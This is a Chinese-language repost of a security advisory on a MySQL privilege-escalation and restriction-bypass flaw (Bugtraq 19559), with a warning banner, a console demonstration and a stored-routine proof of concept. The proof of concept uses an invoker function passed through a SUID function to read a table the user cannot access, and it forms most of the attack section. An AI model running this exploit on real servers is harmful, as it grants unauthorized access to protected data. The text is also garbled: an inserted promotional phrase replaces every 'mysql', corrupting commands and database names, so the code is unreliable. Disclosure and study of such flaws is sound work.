以下的文章主要讲述的是mysql权限提升与安全限制绕过漏洞的实际应用,我前几天在相关网站看见mysql权限提升与安全限制绕过漏洞的实际应用的资料,觉得挺好,今天就拿出来供大家分享。 受影响系统: mysql(和php搭配之最佳组合) ab mysql(和php搭配之最佳组合
以下的文章主要讲述的是mysql权限提升与安全限制绕过漏洞的实际应用,我前几天在相关网站看见mysql权限提升与安全限制绕过漏洞的实际应用的资料,觉得挺好,今天就拿出来供大家分享。
受影响系统:
mysql(和php搭配之最佳组合) ab mysql(和php搭配之最佳组合)
描述:
bugtraq id: 19559
mysql(和php搭配之最佳组合)是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。
在mysql(和php搭配之最佳组合)上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行mysql(和php搭配之最佳组合)的文件系统支持区分大小写的文件名。
此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意dml语句。成功攻击要求用户对所存储例程拥有execute权限。
测试方法:
【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】
1、创建数据库
$ mysql(和php搭配之最佳组合) -h my.mysql(和php搭配之最佳组合).server -u sample -p -a sample enter password: welcome to the mysql(和php搭配之最佳组合) monitor. commands end with ; or \g. your mysql(和php搭配之最佳组合) connection id is 263935 to server version: 4.1.16-standard mysql(和php搭配之最佳组合)> create database another; error 1044: access denied for user 'sample'@'%' to database 'another' mysql(和php搭配之最佳组合)> create database sample; query ok, 1 row affected (0.00 sec)
2、权限提升
--disable_warnings drop database if exists mysql(和php搭配之最佳组合)test1; drop database if exists mysql(和php搭配之最佳组合)test2; drop function if exists f_suid; --enable_warnings # prepare playground create database mysql(和php搭配之最佳组合)test1; create database mysql(和php搭配之最佳组合)test2; create user malory@localhost; grant all privileges on mysql(和php搭配之最佳组合)test1.* to malory@localhost; # create harmless (but suid!) function create function f_suid(i int) returns int return 0; grant execute on function test.f_suid to malory@localhost; use mysql(和php搭配之最佳组合)test2; # create table in which malory@localhost will be interested but to which # he won't have any access create table t1 (i int); connect (malcon, localhost, malory,,mysql(和php搭配之最佳组合)test1); # correct malory@localhost don't have access to mysql(和php搭配之最佳组合)test2.t1 --error er_tableaccess_denied_error select * from mysql(和php搭配之最佳组合)test2.t1; # create function which will allow to exploit security hole delimiter |; create function f_evil () returns int sql security invoker begin set @a:= current_user(); set @b:= (select count(*) from mysql(和php搭配之最佳组合)test2.t1); return 0; end| delimiter ;| # again correct --error er_tableaccess_denied_error select f_evil(); select @a, @b; # oops!!! it seems that f_evil() is executed in the context of # f_suid() definer, so malory@locahost gets all info that he wants select test.f_suid(f_evil()); select @a, @b; connection default; drop user malory@localhost; drop database mysql(和php搭配之最佳组合)test1; drop database mysql(和php搭配之最佳组合)test2;
建议:
厂商补丁:mysql(和php搭配之最佳组合) ab,目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。